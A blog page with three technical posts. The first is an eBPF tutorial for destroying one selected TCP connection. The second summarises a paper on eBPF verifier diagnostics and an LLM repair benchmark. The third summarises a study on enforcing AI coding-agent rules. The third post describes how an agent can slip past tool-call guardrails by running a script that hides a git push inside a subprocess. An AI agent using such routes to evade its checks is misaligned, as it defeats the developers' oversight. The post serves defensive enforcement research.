eBPF Tutorial: Precisely Isolating Established TCP Connections

云微 — Tue, 11 Aug 2026 00:48:55 +0000

The Problem

An outbound IP address has just been added to a threat-intelligence blocklist. Your firewall now rejects new connections to that address. But when you check netstat, you find a server already has an active TCP session to the same destination. You need to close that exact connection immediately, without killing the process, disrupting unrelated traffic, or waiting for the session to time out.

This seemingly simple requirement is surprisingly difficult to achieve with traditional tools:

Killing the process disrupts all its connections, not just the problematic one. Worse, the process may immediately reconnect to the same destination after restarting.
Firewall rules block new connections but have no effect on sessions that are already established. Even iptables -m state --state ESTABLISHED can only match existing connections for filtering future packets; it cannot tear down an active session.
User-space tools like tcpkill work by observing network packets and then injecting TCP RST packets. This approach suffers from a race condition: the socket state can change between observing the connection and sending the RST. RST injection also requires guessing the correct sequence number and may fail against encrypted tunnels or certain network configurations.

What we need is a kernel-level mechanism that can identify and destroy specific sockets atomically, with no race window. This is exactly what Linux 6.5 introduced with the bpf_sock_destroy kernel function (kfunc).

This tutorial builds a command-line tool that uses a BPF iterator to walk the kernel's TCP socket table, find established connections matching a specific IPv4 address and port, and destroy them on demand. You will learn how BPF iterators provide safe, locked traversal of kernel data structures, and how kfuncs like bpf_sock_destroy expose kernel operations to BPF programs.

Complete source code: https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/51-tcp-quarantine

Background: BPF Iterators and Kfuncs

Before diving into the code, let's understand the two kernel features that make this tool possible.

BPF Iterators

A BPF iterator is a special type of BPF program that the kernel invokes repeatedly, once for each element in some kernel data structure. Unlike tracepoints or kprobes that fire when specific events occur, iterators let you actively scan kernel state on demand.

The TCP iterator (SEC("iter/tcp")) iterates over all TCP sockets in the network namespace of the process that triggers it. User space initiates a scan by reading from an iterator file descriptor. Each read() call causes the kernel to invoke your BPF callback for a batch of sockets. When read() returns zero (EOF), the traversal is complete.

Because the kernel controls the iteration and holds appropriate locks while invoking your callback, there's no race condition between reading socket state and acting on it.

Kfuncs

Kfuncs (kernel functions) are a mechanism for BPF programs to call specific kernel functions directly. Unlike the older BPF helper functions which have a fixed ABI, kfuncs are regular kernel functions that are explicitly marked as callable from BPF. They can do things that helpers cannot, including operations that modify kernel state in complex ways.

The bpf_sock_destroy kfunc, introduced in Linux 6.5 (commit 4ddbcb886268af8d12a23e6640b39d1d9c652b1b), allows a BPF program running in an iterator context to forcibly close a socket. The kernel executes the full protocol-specific teardown: removing the socket from hash tables, sending FIN/RST as appropriate, and releasing resources. This happens synchronously: by the time the call returns, the socket is destroyed.

How the Tool Works

The tcp_quarantine tool combines these two features into a practical workflow:

User space specifies a remote IPv4 address and port. By default this is a dry run; apply mode also requires one local IPv4 address and port copied from the dry-run output.
The BPF program is loaded with these parameters baked into its read-only data section.
User space opens an iterator file descriptor and reads from it, triggering the kernel to invoke the BPF callback for each TCP socket.
For each socket, the BPF callback checks: Is this an IPv4 socket? Is it in the ESTABLISHED state? Does its remote endpoint match? In apply mode, does its local endpoint also match?
Matching sockets are printed and counted. Only an apply scan with all four endpoint fields equal calls bpf_sock_destroy.
After traversal completes, user space reads statistics from the BPF program's BSS section and reports results.

The final match and destroy happen in one iterator callback on the same socket. Dry-run and apply are separate scans, so a connection can disappear between them; in that case apply safely reports matched=0.

Code Walkthrough

The implementation has three source files: a shared header defining the statistics structure, the BPF program that performs the actual iteration and destruction, and a user-space loader that orchestrates everything.

Statistics Structure

tcp_quarantine.h defines counters that the BPF program updates during iteration and user space reads afterward:

/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
#ifndef __TCP_QUARANTINE_H
#define __TCP_QUARANTINE_H

struct quarantine_stats {
    unsigned long long scanned;
    unsigned long long established;
    unsigned long long matched;
    unsigned long long destroyed;
    unsigned long long failed;
};

#endif /* __TCP_QUARANTINE_H */

These five counters track: total sockets examined, how many were IPv4 and ESTABLISHED, how many matched the active selector, how many were successfully destroyed (apply mode only), and how many bpf_sock_destroy calls failed.

BPF Iterator Program

tcp_quarantine.bpf.c is the kernel-side code. The SEC("iter/tcp") annotation tells the loader this is a TCP iterator program:

// SPDX-License-Identifier: GPL-2.0
#include "vmlinux.h"
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_endian.h>
#include <bpf/bpf_helpers.h>
#include "tcp_quarantine.h"

#define AF_INET 2
#define TCP_ESTABLISHED 1

char LICENSE[] SEC("license") = "GPL";

const volatile __u32 target_addr;
const volatile __u16 target_port;
const volatile __u32 target_local_addr;
const volatile __u16 target_local_port;
const volatile bool apply;

struct quarantine_stats stats;

extern int bpf_sock_destroy(struct sock_common *sock) __ksym;

SEC("iter/tcp")
int quarantine_tcp(struct bpf_iter__tcp *ctx)
{
    struct sock_common *sk = ctx->sk_common;
    struct seq_file *seq = ctx->meta->seq;
    __u32 dst_addr, local_addr;
    __u32 dst_host, local_host;
    __u16 dst_port;
    __u16 local_port;
    __u16 family;
    __u8 state;
    int err;

    if (!sk)
        return 0;

    stats.scanned++;
    family = BPF_CORE_READ(sk, skc_family);
    state = BPF_CORE_READ(sk, skc_state);
    if (family != AF_INET || state != TCP_ESTABLISHED)
        return 0;

    stats.established++;
    dst_addr = BPF_CORE_READ(sk, skc_daddr);
    dst_port = BPF_CORE_READ(sk, skc_dport);
    if (dst_addr != target_addr || dst_port != bpf_htons(target_port))
        return 0;
    local_addr = BPF_CORE_READ(sk, skc_rcv_saddr);
    local_port = BPF_CORE_READ(sk, skc_num);
    if (apply && (local_addr != target_local_addr ||
              local_port != target_local_port))
        return 0;

    stats.matched++;
    local_host = bpf_ntohl(local_addr);
    dst_host = bpf_ntohl(dst_addr);
    BPF_SEQ_PRINTF(seq,
               "MATCH local=%u.%u.%u.%u:%u remote=%u.%u.%u.%u:%u\n",
               local_host >> 24, (local_host >> 16) & 0xff,
               (local_host >> 8) & 0xff, local_host & 0xff, local_port,
               dst_host >> 24, (dst_host >> 16) & 0xff,
               (dst_host >> 8) & 0xff, dst_host & 0xff, target_port);
    if (!apply)
        return 0;

    err = bpf_sock_destroy(sk);
    if (err)
        stats.failed++;
    else
        stats.destroyed++;

    return 0;
}

Let's break down the key elements:

Configuration variables: The five const volatile variables hold the remote endpoint, optional local endpoint, and apply mode in the BPF program's read-only data section (.rodata). User space writes them after opening the skeleton but before loading the program. The verifier can eliminate the local-match and destruction path when apply is false.

Kfunc declaration: The line extern int bpf_sock_destroy(struct sock_common *sock) __ksym; declares bpf_sock_destroy as an external kernel symbol. The __ksym annotation tells the loader to resolve this at load time by looking up the kernel function.

CO-RE field access: BPF_CORE_READ(sk, skc_family) reads the skc_family field from the socket structure using BTF (BPF Type Format) information. This is part of CO-RE (Compile Once, Run Everywhere): the compiled BPF program contains relocation records that the loader patches based on the running kernel's BTF data. A program compiled on one kernel version will work on others even if structure field offsets differ.

Byte order handling: Remote and local addresses match the network byte order produced by inet_pton. The remote skc_dport is in network byte order and is compared with bpf_htons(target_port); local skc_num is already in host byte order.

Progressive filtering: The callback first counts all sockets (scanned), then IPv4 ESTABLISHED sockets (established), then remote matches. Dry-run prints every candidate as MATCH local=... remote=.... Apply mode rechecks the selected local endpoint before incrementing matched or destroying anything. There is deliberately no option that destroys every remote match.

User-Space Loader

tcp_quarantine.c handles argument parsing, BPF lifecycle management, and result reporting:

// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
#include <arpa/inet.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include "tcp_quarantine.skel.h"

static struct {
    const char *remote_argument;
    const char *local_argument;
    bool apply;
} env;

struct endpoint {
    struct in_addr address;
    unsigned int port;
    char text[INET_ADDRSTRLEN + 7];
};

/* Argument validation and endpoint parsing are omitted here. */
static int parse_args(int argc, char **argv);
static int parse_endpoint(const char *value, struct endpoint *endpoint);

static int run_iterator(struct bpf_program *program)
{
    struct bpf_link *link;
    char buffer[4096];
    int iter_fd, length;

    link = bpf_program__attach_iter(program, NULL);
    iter_fd = bpf_iter_create(bpf_link__fd(link));
    while ((length = read(iter_fd, buffer, sizeof(buffer))) > 0)
        fwrite(buffer, 1, length, stdout);

    close(iter_fd);
    bpf_link__destroy(link);
    return length < 0 ? -errno : 0;
}

int main(int argc, char **argv)
{
    struct tcp_quarantine_bpf *skel;
    struct endpoint remote = {}, local = {};

    parse_args(argc, argv);
    parse_endpoint(env.remote_argument, &remote);
    if (env.apply)
        parse_endpoint(env.local_argument, &local);

    skel = tcp_quarantine_bpf__open();
    skel->rodata->target_addr = remote.address.s_addr;
    skel->rodata->target_port = remote.port;
    skel->rodata->target_local_addr = local.address.s_addr;
    skel->rodata->target_local_port = local.port;
    skel->rodata->apply = env.apply;

    tcp_quarantine_bpf__load(skel);
    run_iterator(skel->progs.quarantine_tcp);

    printf("SUMMARY mode=%s matched=%llu destroyed=%llu failed=%llu\n",
           env.apply ? "apply" : "dry-run",
           skel->bss->stats.matched,
           skel->bss->stats.destroyed,
           skel->bss->stats.failed);
    tcp_quarantine_bpf__destroy(skel);
}

The key workflow:

Open the skeleton: tcp_quarantine_bpf__open() parses the embedded BPF object but doesn't load it yet.
Configure parameters: We write the parsed remote endpoint, optional local endpoint, and apply flag to skel->rodata->* before load().
Load the program: tcp_quarantine_bpf__load() loads the BPF program into the kernel. The verifier runs, BTF relocations are applied, and kfuncs are resolved.
Run the iterator: run_iterator() attaches the program, creates an iterator file descriptor, and reads from it until EOF. The read loop drives the kernel to invoke our BPF callback for every TCP socket.
Read results: After iteration, we read statistics from skel->bss->stats. The BSS section is automatically memory-mapped, so these reads just access shared memory.

The iterator callback writes each candidate with BPF_SEQ_PRINTF. The read() loop copies that iterator output to stdout, making the dry run actionable; aggregate results still come from BSS statistics.

Network Namespace Boundary

The TCP BPF iterator scans sockets in the network namespace of the process that triggers it. This is a critical boundary to understand: the tool can only see and operate on connections within its own network namespace.

If you need to close a connection inside a container or another namespace, first enter that namespace using nsenter:

sudo nsenter --net=/proc/<target-pid>/ns/net -- ./tcp_quarantine \
  203.0.113.99:443

Here <target-pid> is the PID of any process in the target network namespace. The --net flag changes only the network namespace while keeping the mount namespace intact, so the tool binary remains accessible.

What Applications See

When bpf_sock_destroy tears down a socket, the kernel executes the protocol's shutdown path. The specific error an application sees depends on which end of the connection is destroyed and what operation it next attempts:

The upstream TCP selftest expects ECONNABORTED for the client and ECONNRESET for the server.
Writes may produce EPIPE with a SIGPIPE signal.
The exact behavior varies by kernel version and the timing of operations.

Treat any of these outcomes as application-visible evidence that the connection was torn down; confirm the exact behavior expected by your application and kernel version.

Building and Running

Build the tool:

cd src/51-tcp-quarantine
make clean
make -j2

Dry-run mode (the default) scans for matches but doesn't destroy anything:

sudo ./tcp_quarantine 127.0.0.1:42063

Copy one MATCH line's local endpoint into apply mode. This destroys only that complete 4-tuple:

sudo ./tcp_quarantine --apply 127.0.0.1:55490 127.0.0.1:42063

Command-line reference:

Usage: ./tcp_quarantine [--apply LOCAL_IPV4:PORT] REMOTE_IPV4:PORT [--verbose]

Options:
  -a, --apply IPv4:PORT   local endpoint selected from dry-run output
  -v, --verbose           print libbpf diagnostics
  -h, --help              show this help

Example Session

Suppose a service has two established connections to the same remote listener. A normal dry-run lists both candidates; copying one local endpoint into the apply command selects only that connection:

MATCH local=127.0.0.1:55490 remote=127.0.0.1:42063
MATCH local=127.0.0.1:55494 remote=127.0.0.1:42063
SUMMARY mode=dry-run remote=127.0.0.1:42063 scanned=8 established=6 matched=2 destroyed=0 failed=0
MATCH local=127.0.0.1:55490 remote=127.0.0.1:42063
SUMMARY mode=apply remote=127.0.0.1:42063 local=127.0.0.1:55490 scanned=7 established=5 matched=1 destroyed=1 failed=0

Socket counts and ports vary. What matters is that dry-run lists both remote matches without changing them, while apply reports matched=1 destroyed=1 for the copied 4-tuple and leaves the other socket intact.

Requirements

Requirement	Details
Kernel	Linux 6.5+ (when `bpf_sock_destroy` was introduced)
BTF	Required (`CONFIG_DEBUG_INFO_BTF=y`)
Kernel configs	`CONFIG_BPF=y`, `CONFIG_BPF_SYSCALL=y`, `CONFIG_BPF_JIT=y`, `CONFIG_BPF_EVENTS=y`, `CONFIG_DEBUG_INFO_BTF=y`, `CONFIG_INET=y`, `CONFIG_PROC_FS=y`
BPF JIT	Must be enabled. Kfuncs require the JIT. Kernels built with `CONFIG_BPF_JIT_ALWAYS_ON` require no runtime configuration.
Architecture	Tested on x86_64
Privileges	Root required

If loading fails, the tool prints both the kernel error and a checklist of prerequisites to help you diagnose the problem.

Summary

This tutorial demonstrated how to use BPF iterators and the bpf_sock_destroy kfunc to surgically terminate one selected TCP connection. Unlike process killing, firewall rules, or user-space RST injection, this approach:

Works atomically with no race window between inspection and action
Does not require guessing TCP sequence numbers
Does not disrupt unrelated connections on the same process
Is not affected by encryption or unusual network configurations

The tool uses the complete IPv4 4-tuple as its smallest safe destructive selector. Possible extensions include IPv6 support, process/cgroup attribution, multi-namespace orchestration, and integration with threat-intelligence feeds; broad wildcard destruction is intentionally outside this tutorial.

To learn more about eBPF, visit our tutorial repository at https://github.com/eunomia-bpf/bpf-developer-tutorial or our website at https://eunomia.dev/tutorials/.

References

Why eBPF Verifier Errors Are Hard to Fix: The Diagnostic Gap

云微 — Sun, 02 Aug 2026 07:25:56 +0000

When developers load an eBPF program into the Linux kernel, the verifier must prove the program safe before any bytecode runs. The verifier walks every possible execution path through the program, tracking what it knows about each register and stack slot at each instruction. If it finds an instruction it cannot prove safe (a memory access through an unvalidated pointer, a read past the end of a packet, or an unbounded loop), it rejects the program and prints an error.

The problem is that the verifier's error message names the instruction where it got stuck, not the instruction where the program went wrong. The two can be far apart. A bounds check might be missing twenty instructions earlier; a pointer might have lost its type information after passing through a branch; a helper function might have returned a value the verifier can no longer track. The developer sees the final symptom, not the root cause.

The paper Characterizing and Bridging the Diagnostic Gap in eBPF Verifier Rejections studies this gap systematically. We reproduced 235 real verifier rejections under a fixed kernel and compiler, then asked: how much does the terminal error message actually tell you about what to fix? The answer is surprisingly little. EINVAL covers 47% of the cases; a single normalized error string can map to as many as nine completely different root causes.

How the Verifier Thinks

To understand why verifier errors are so hard to debug, it helps to understand what the verifier is actually doing. The verifier performs abstract interpretation: it simulates executing the program without running it, tracking a simplified model of what each register and memory location might contain at each instruction.

This model is called the abstract state. For each register, the verifier might know: this is a pointer to the packet data, valid from offset 0 to 42. Or: this is a scalar whose value is between 0 and 255. Or: this is a pointer returned by bpf_map_lookup_elem, and the program has not yet checked whether it is null. These facts constrain what operations the program can safely perform.

The verifier builds these facts as it walks the program. When the program performs a bounds check (if (ptr + 8 > data_end) return), the verifier records that ptr is now known to be at least 8 bytes from the end. When the program calls a helper that returns a map value, the verifier records the pointer type and the requirement for a null check. When the program branches, the verifier explores both paths and tracks which facts hold on each.

These accumulated facts are the proofs that later instructions depend on. A packet read is safe only if the verifier can still see a proof that the access is within bounds. A map-value write is safe only if the pointer came from a lookup helper and passed a null check. The site's eBPF security overview covers the verifier's safety role more broadly; this post focuses on the diagnostic problem.

The critical point: proofs can be lost. A register that held a bounded packet pointer might get overwritten. A branch might merge two paths where one has a proof and one does not. The compiler might optimize away the operation that established the proof, or reorder instructions so the verifier no longer sees the connection. When this happens, the verifier rejects the program at the instruction that needed the proof, not at the instruction that lost it.

Where Verification Stops vs. Where the Proof Was Lost

Consider a packet-parsing example from the paper. The program computes a UDP header pointer, checks it against data_end, then reads dest.

if (udph + sizeof(struct udphdr) > data_end)
    return 1;

dst_port = __constant_ntohs(((struct udphdr *)udph)->dest);

Figure 1 from the paper puts three views side by side: the source reads from a UDP header, the raw verifier log stops at R5 invalid mem access 'scalar', and the proof-oriented diagnostic identifies what the load required: a packet pointer that the verifier could still recognize at the dereference.

The snippet looks guarded, but the bytecode no longer preserves the packet-pointer proof at the load. The terminal line R5 invalid mem access 'scalar' says the verifier sees a scalar where it expected a packet pointer. It does not say when the packet pointer became a scalar, whether the source forgot a bounds check, whether compiler lowering merged provenance away, or whether the developer should rederive a pointer.

This is the diagnostic gap: the error names the symptom, not the cause. The source code might be entirely correct; the problem might be in how the compiler lowered it, or in how the verifier tracks types across branches. Alternatively, the source might have a real bug, but twenty lines earlier than the error points to. Either way, the terminal message alone does not tell you.

What 235 Reproduced Rejections Reveal

To study this problem with real data, we assembled a corpus of verifier rejections that developers actually encountered. We started with 936 candidate reports from Stack Overflow questions, GitHub issues, GitHub fix commits, and Linux kernel selftests. Each candidate was rebuilt and loaded with Linux 6.15.11, clang 18, and verifier log level 2. Only 235 still produced a verifier rejection under that fixed setup; the rest depended on a different environment, no longer failed with the selected toolchain, or lacked the source material to rebuild.

This filtering gives the corpus a clear scope: a reproducible sample rather than an estimate of every verifier failure developers encounter. Each retained case includes the faulty source and the developer's own fix from the original report. Those paired artifacts allowed us to label both the root cause and the layer where the accepted repair landed.

Source changes repaired 191 cases, or 81% of the corpus. The remaining 44 cases involved source that was correct for the intended operation: 18 were repaired in the compiler, 14 through the environment, and 12 in the verifier. A context-field read compiled with -O0, for example, could lose its verifier-visible pointer type during lowering; changing the compilation setting repaired the program while leaving its C logic intact. The rejected instruction alone gives no way to choose among these layers.

The 191 source bugs fall into 12 root-cause categories. Ten are eBPF-specific, arising from the verifier's requirements around bounds, pointer provenance, object lifetimes, and helper protocols, concepts that do not exist in normal C programming.

Root-cause category	Cases
Unclamped scalar used as an offset or length	24
Corrupted or stale dynptr object	23
Packet access without a bound on every path	22
Missing null check	19
Pointer type or provenance mismatch	16
Unverified address dereferenced	16
Index exceeds object capacity	15
Context or contract misuse	15
Unpaired resource reference	15
Interrupt flag restored out of order	11
Probe signature mismatched with the ABI	9
Oversized or uninitialized stack buffer	6

These categories require different repairs. Tightening a scalar range, preserving a packet bound across every path, checking a map lookup for null, and releasing a reference in the right order all satisfy the verifier, but they restore different facts. A developer who sees invalid mem access 'scalar' cannot tell from that message alone whether the fix is a bounds check, a null check, a type cast, or a compiler flag.

The paper measures this ambiguity by normalizing register numbers and offsets in the final verifier line. The 235 rejections produced 167 distinct strings, which collapsed to 82 message templates; 15 templates covered more than one root cause. The four most common templates show how quickly a familiar message spreads across unrelated mistakes.

Terminal message template	Cases	Root-cause categories
`R# invalid mem access 'scalar'`	28	9
`invalid access to packet`	26	5
`invalid access to map value`	18	4
`R# !read_ok`	13	4

EINVAL is broader still, appearing in 47% of all reproduced rejections.

The verifier log actually contains far more information than the terminal error: at log level 2, it prints the abstract state after every instruction. The problem is that developers must manually trace through this state to figure out where the proof was lost. The terminal line discards the history needed to connect the rejected operation to a root cause and a repair layer.

From Rejection Location to Repair Information

A useful diagnostic would answer the questions the terminal error leaves open: what proof did the verifier need at the rejected instruction, and where did the program lose it?

The paper introduces a research prototype called bpfix that attempts this reconstruction. It reads the verifier's log-level-2 output (the per-instruction abstract states) and traces backward from the rejected operation. It identifies what proof was required (packet bounds, pointer provenance, null check, etc.), when that proof first appeared in the state, and when it disappeared. If debug metadata is available, it maps these transitions back to source lines.

A map-value case from the paper illustrates the difference. A developer cast the address of a BPF map object directly to a pointer and tried to write through it:

__u64 *v = (__u64 *)&globals;
*v += 1;

The verifier rejected the write with only read from bpf_array is supported. The error names the rejected operation, but not the underlying problem: you cannot write through a map object pointer directly. The verifier expects a map-value pointer, which must come from a helper like bpf_map_lookup_elem. The correct fix follows that protocol:

__u32 key = 0;
__u64 *v = bpf_map_lookup_elem(&globals, &key);
if (!v)
    return 0;
*v += 1;

The repair establishes the missing proof in three steps: look up the map element, check the returned pointer for null, then write through it. A diagnostic that names the required proof (a map-value pointer from a helper) and the loss point (the direct cast) gives the developer more to work with than the terminal error alone.

This approach also distinguishes cases that share an error message but need different fixes. One program constructs a packet address from an integer offset; it never establishes packet-pointer provenance and needs a source change. Another program derives and bounds-checks its pointer correctly, but compiler optimization merges the value into a scalar before the load; the fix is a compiler flag, not a source change. Both produce invalid mem access 'scalar', but they belong to different repair layers.

Can LLMs Fix Verifier Errors?

The paper tests whether better diagnostic context improves automated repair. If the diagnostic gap matters, models should perform better when given the missing proof information than when given only the raw verifier log.

We built bpfix-bench, a benchmark of 75 source-level repair tasks. Forty are constructed around specific verifier proofs that the repaired program must re-establish; 35 are minimized from open-source projects like Cilium, xdp-tools, and bpftime.

Each task has an executable test suite independent of the diagnostic tool. A candidate fix must compile, load through the kernel verifier, pass a functional test, and pass a source-semantics check. The last requirement matters: it catches patches that make the error disappear by deleting the offending code path or changing the program's behavior. Success means restoring a verifier-acceptable program that still does what it was supposed to do.

The experiment compared two prompt conditions: one where the model received the raw verifier log, and one where it received a shorter diagnostic that named the required proof and relevant source span. Three models were tested at temperature zero: Qwen3.6 27B, GLM 5.2, and Qwen2.5 3B (as a lower-capacity comparison). One-shot mode judged the first candidate; retry mode returned failure information once and allowed a second attempt.

Model	Raw log, one shot	Localized diagnostic, one shot	Raw log, one retry	Localized diagnostic, one retry
Qwen3.6 27B	22/75	38/75	30/75	44/75
GLM 5.2	28/75	38/75	47/75	52/75
Qwen2.5 3B	0/75	8/75	0/75	10/75

The results show a consistent improvement when models receive proof-localized context instead of raw logs. Qwen3.6 27B improved from 29% to 51% one-shot success; GLM 5.2 from 37% to 51%; Qwen2.5 3B from 0% to 11%. The gains persist with retry: Qwen3.6 goes from 40% to 59%, GLM from 63% to 69%.

The benchmark records the first stage where each one-shot candidate fails, which makes the aggregate result easier to interpret.

Model	Input	Compile	Verifier load	Functional test	Source semantics	No program returned	Accepted
Qwen3.6 27B	Raw log	3	19	9	22	0	22
Qwen3.6 27B	Localized	1	10	10	16	0	38
GLM 5.2	Raw log	1	10	11	25	0	28
GLM 5.2	Localized	1	5	9	22	0	38
Qwen2.5 3B	Raw log	7	62	0	3	3	0
Qwen2.5 3B	Localized	14	39	6	8	0	8

The stage-by-stage breakdown shows where the improvement comes from. For Qwen3.6, verifier-load failures dropped from 19 to 10 and source-semantics failures from 22 to 16. These are exactly the stages tied to restoring proofs while preserving behavior, which is the information the diagnostic adds.

The 3B model shows a different pattern. Verifier-load failures dropped from 62 to 39, and prompts that previously exceeded its context window now fit. But compile failures rose from 7 to 14; the model reached more repair attempts but still struggled with basic code generation.

These results are narrow: three models, 75 tasks, temperature zero, at most one retry. Even the best result (52/75 with retry) leaves many tasks unsolved. But the consistent improvement across models supports a specific conclusion: repair is easier when you know which proof was lost, not just where verification stopped.

Debugging Verifier Errors in Practice

The paper's findings suggest a different approach to debugging verifier rejections. Instead of asking "what is wrong with this line?", start by asking what the rejected operation required.

Many verifier rejections happen because some instruction needed a proof the verifier did not have. A packet load needs packet-pointer provenance and a valid bound. A map-value write needs a pointer from a lookup helper with a null check. A dynptr slice needs a live dynptr object. Identifying the required proof is the first step.

The next step is tracing backward through the abstract states to see when that proof appeared, disappeared, or never existed. The verifier log at level 2 contains this information (it prints the state after every instruction), but you have to read it manually. Look for where a register changes from a typed pointer to a scalar, where a bound disappears after a branch merge, or where a required check never appears.

A practical reading order:

Identify the rejected operation: what kind of access is it? Packet read, map write, helper call?
Name the required proof: packet bounds, pointer provenance, null check, scalar range?
Trace backward: when did the register have that proof? When did it lose it? Did it ever have it?
Determine the repair layer: is the problem in source (missing check), compiler (optimization hid the proof), environment (wrong kernel version), or verifier (precision limit)?

Sometimes this trace leads outside the source. If the abstract states show a proof established and then discarded during compilation, the fix might be a compiler flag. If the source never established the proof, you need a code change. The terminal error is where you start; the proof history tells you where to fix.

References

An Empirical Study: AI Agent Rules Need Context and Layered Enforcement

云微 — Mon, 20 Jul 2026 00:57:55 +0000

A rule like "run the full test suite before committing" looks simple until an AI coding agent edits a source file after the last test run and then calls git commit. The kernel sees an ordinary process writing a commit object, while the harness sees one more tool call, yet the decision depends on which test result is still fresh, which edit invalidated it, and whether this commit is allowed now.

The ActPlane paper measures the gap between the behavioral rules developers write and the subset a system can actually check. Its statement-level analysis of 2,116 instructions shows that developers are not short of rules; the difficulty lies in turning natural-language requirements into state that a system can observe and evaluate over time. Many rules concern files, processes, or network activity but still depend on repository structure, task progress, or prior events, so a single OS hook can cover only part of the policy set.

Developers Have Already Written the Policies

Most discussions of AI agent safety start from threat models or attack surfaces. ActPlane starts from a different question: what do developers already tell their agents to do and not do, and what would it take to enforce those instructions?

The study examines 64 popular repositories containing CLAUDE.md and AGENTS.md files (median 20K GitHub stars, snapshot from 2026-05-23), covering 84 instruction files and 2,116 individual statements. Unlike prior work that analyzed instruction files at the file or section-heading level, ActPlane classifies every statement independently. The study asks three questions: are instruction files primarily behavioral policies or descriptive context? Which policies require OS-level enforcement, and what kinds of OS-level checks do they need? What context is needed to instantiate these policies into concrete, enforceable rules?

Statements were extracted through a two-pass LLM agent-assisted pipeline that recorded source line ranges and four labels per statement: content type, topic, enforcement level, and context requirement. A validation script verified full source coverage and verbatim span matching, then two independent agents (Claude and Codex) cross-checked the results. A stratified sample of 100 statements went through independent human review, which confirmed the labels were correct.

Across those 2,116 statements, 64% are policies that require, forbid, or condition a specific agent action. The remaining 36% are descriptive context, such as architecture notes or project background. Policy density varies widely across repositories, from 0% to 97%, with 70.1% of repositories containing more policy statements than descriptive ones. File- or heading-level studies do not report this statement-level distribution, which is why the finer classification matters.

To understand how policies distribute across concerns, the study assigns each statement to one of 12 topic categories adapted from prior instruction-file research, applied at statement granularity rather than file granularity. Development Process and Implementation Details dominate the policy landscape at 87% and 85% respectively. Architecture is mostly descriptive at 23% because directory layouts and design summaries make up the bulk of those sections. The imported source figures call policy statements directives and call the system-observable policy subset system-level directives. The prose follows the paper's policy and system-observable terminology.

Five real statements from the dataset illustrate the range of enforcement requirements:

Statement	Enforcement level	Context
S4: "Never push to main directly."	per-event	self-contained
S5: "Never modify upstream source code."	per-event	project
S6: "Run the full test suite before committing."	cross-event	project
S7: "Data read from .env must not reach the network."	cross-event	project
S8: "Do not update dependencies without approval."	per-event	task

The Enforcement Gap Begins with Context

Each policy exits at the first matching tier of an enforcement waterfall. Semantic-only covers reasoning, communication, or output style; content covers predicates over file contents; per-event covers a single command, file access, or network connection; and cross-event covers policies that depend on temporal ordering or data lineage across operations. The union of content, per-event, and cross-event tiers is called system-observable.

Of the 1,361 policies in the dataset, only 17% are semantic-only. The remaining 83% are system-observable, comprising 38% that require content inspection, 29% that match one OS event, and 16% that require cross-event state. Only the per-event and cross-event classes, 45% together, form the OS-enforceable subset. Cross-event policies concentrate in Development Process, which accounts for 39.5% of all cross-event policies.

These cross-event policies follow four recurring patterns. Temporal ordering constrains sequencing: "run tests before committing" requires that one event happened after another, not merely at some earlier point. Cross-file consistency links changes across artifacts: "update docs when behavior changes" couples a source edit to a documentation update. Multi-step workflows enforce release checklists with verification gates, where each step must complete before the next begins. Conditional triggers couple operations: "if you change specs, also update the SDK" fires only when a precondition is met.

None of these can be decided from a single event, so enforcement must record what ran, in what order, and what has changed since. Such policies are widespread, with 81% of repositories containing at least one cross-event policy and 43% spanning all four enforcement tiers.

Context dependence compounds the enforcement challenge. Of the 1,127 system-observable policies, only 26.4% are self-contained. The majority, 64.2%, require project context: "the test suite" or "upstream source" must be resolved against a specific repository before the policy becomes a concrete rule. Even a per-event policy like S5, "Never modify upstream source code," requires resolving which paths constitute "upstream source" before a file-write check can fire. Another 9.4% require task context, such as "unless explicitly requested" or "without approval."

The two difficulties compound, because the policies that require tracking state across events are also the ones that rarely specify the concrete commands and paths needed to write the rule. Cross-event policies are 95% context-dependent (77% project, 19% task), compared to 58% for content policies. A policy that says "run tests before commit" sounds simple until the enforcement engine needs to know which test command to watch for, which source directories count as "relevant edits," and whether the test passed or merely ran.

A fixed set of static rules can cover only the self-contained fraction. Instantiating the rest requires reading the repository and interpreting the current task before any check can run.

Agent policy enforcement begins by compiling repository and task context into concrete state that deterministic checks can evaluate.

One Rule Crosses Several Enforcement Layers

Prompt instructions rely on the model's own compliance, but they are vulnerable to prompt injection and compete with the user's task prompt for attention in a long context window. Separate agents or LLM guards can check prompts, responses, or action trajectories at runtime, but these checks are inherently probabilistic.

Tool-call guardrails and application-level information-flow control (IFC) systems intercept at the harness boundary deterministically, but they observe only harness-mediated requests, not system-level effects once a tool starts executing. An indirect subprocess, shell-out, or compiled binary can bypass the tool boundary. Consider an agent that writes a Python script containing subprocess.run(["git", "push"]) and then executes it: the tool-call layer sees "run python script.py," not the git push inside it.

OS-level mechanisms like seccomp, AppArmor, Landlock, and Tetragon control resource access, not actions in the sense developers write about. They expect statically pre-written policies and return opaque errors that confuse the agent: a bare EPERM with no explanation of what rule was violated or how to recover.

Those layers still leave a structural split between who holds policy context and who can see every execution path. Most rules need project or task context that resides with the agent, so the agent itself must turn policies into concrete rules, yet many policies define event ordering or data flow that tool-call guardrails never see, so the rules must still be concrete enough for deterministic OS-level enforcement. Bridging that gap is what ActPlane addresses.

Two design requirements follow. The policy specification must be agent-writable yet OS-enforceable, so the agent can produce concrete rules from natural-language policies with minimal expertise and receive semantic feedback to understand violations and recover. Enforcement must also stay safe, isolated, and efficient, meaning agent-authored policy must not weaken constraints set by higher authority, must not affect other agents' policies, and must not slow the agent's normal workload.

Compiling Intent into Enforceable State

Each ActPlane rule has five components: a source that identifies what is being governed, a target operation (such as exec, write, or connect), an effect, an optional temporal gate, and a reason string for semantic feedback. The paper's running example makes this concrete:

kill exec "git" "commit" unless after exec "go" "test" exits 0 since write "**/*.go"

This rule kills any git commit unless go test has exited successfully since the most recent relevant source edit. The reason field, omitted here for brevity, provides the agent with a structured explanation when the rule fires.

Effects form a gradient matching the distinction between instructions and constraints. Block is a pre-operation synchronous denial with no TOCTOU gap: the kernel intercepts the system call before it executes, and the agent can reroute. Kill terminates the process after the operation has begun, preventing the agent from switching to an alternate channel. Notify delivers guidance without stopping the action. Constraints use block or kill; instructions use notify.

